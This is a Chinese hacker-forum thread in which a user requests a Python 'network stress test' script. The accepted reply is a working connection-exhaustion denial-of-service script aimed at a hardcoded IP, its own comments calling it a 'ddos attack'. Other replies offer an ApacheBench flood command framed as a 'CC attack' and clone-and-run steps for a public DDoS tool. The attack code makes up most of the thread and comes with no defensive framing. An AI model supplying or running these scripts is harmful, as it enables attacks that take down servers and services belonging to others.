[软件问题] 有没有大佬帮写一个网络压力测试脚本

1254 7
匿名  发表于 2024-1-23 14:45:43 |阅读模式
5红币
最好是python的,谢谢了

最佳答案

查看完整内容

import socket import time import threading MAX_CONN = 100 # 设置连接的数量 PORT = 80 # 设置端口号 HOST = "10.16.53.180" # 设置IP地址 PAGE = "/DVWA" buf = ("GET %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n" "Content-Length: 1000000000\r\n" "\r\n" % (PAGE, HOST)) # HTTP请求 socks = [] d ...
VIPZephyr 2024-1-23 14:45:44 | 显示全部楼层
import socket
import time
import threading

MAX_CONN = 100  # 设置连接的数量
PORT = 80  # 设置端口号
HOST = "10.16.53.180"  # 设置IP地址
PAGE = "/DVWA"

buf = ("GET %s HTTP/1.1\r\n"
       "Host: %s\r\n"
       "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
       "Content-Length: 1000000000\r\n"
       "\r\n" % (PAGE, HOST))  # HTTP请求

socks = []

def conn_thread():
    global socks
    for i in range(0, MAX_CONN):
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        try:
            s.connect((HOST, PORT))
            s.send(bytes(buf, encoding='utf-8'))  # 发送HTTP请求
            print("[+] Send buf OK!,conn=%d" % i)
            socks.append(s)
        except Exception as ex:
            print("[-] Could not connect to server or send error:%s" % ex)
            time.sleep(2)

def send_thread():
    global socks
    for i in range(10):
        for s in socks:
            try:
                s.send(bytes("ddos", encoding='utf-8'))  # ddos攻击
                print("[+] send OK!")
            except Exception as ex:
                print("[-] send Exception:%s" % ex)
                socks.remove(s)
                s.close()
        time.sleep(1)

conn_th = threading.Thread(target=conn_thread, args=())
send_th = threading.Thread(target=send_thread, args=())
conn_th.start()
send_th.start()
回复

使用道具 举报

Honker_NULL 2024-1-31 11:06:23 | 显示全部楼层
嗯~ o(* ̄▽ ̄*)o...kali会吗?cc攻击
  1. ab -n 1000 -c 1000 网站
复制代码

如果有错误反馈~lol

点评

Python的,给给个kali他还要去安装  详情 回复 发表于 2024-2-1 07:56
回复

使用道具 举报

VIPZephyr 2024-2-1 07:56:14 | 显示全部楼层
Honker_NULL 发表于 2024-1-31 11:06
嗯~ o(* ̄▽ ̄*)o...kali会吗?cc攻击

如果有错误反馈~lol

Python的,给给个kali他还要去安装
回复

使用道具 举报

VIPZephyr 2024-2-1 07:59:12 | 显示全部楼层
有git吗
git clone https://github.com/Andysun06/ddos
cd ddos
python3 ddos-p3.py
DDos-Attack的python程序
回复

使用道具 举报

VIPZephyr 2024-2-1 08:04:01 | 显示全部楼层
具体如下
回复

使用道具 举报

VIPZephyr 2024-2-1 08:09:38 | 显示全部楼层
嘿嘿
回复

使用道具 举报

AKC 2024-2-18 19:12:46 | 显示全部楼层
0
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

初入联盟

关注
  • 4
    主题
  • 0
    粉丝
  • 0
    关注
这家伙很懒,什么都没留下!
24小时热帖

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行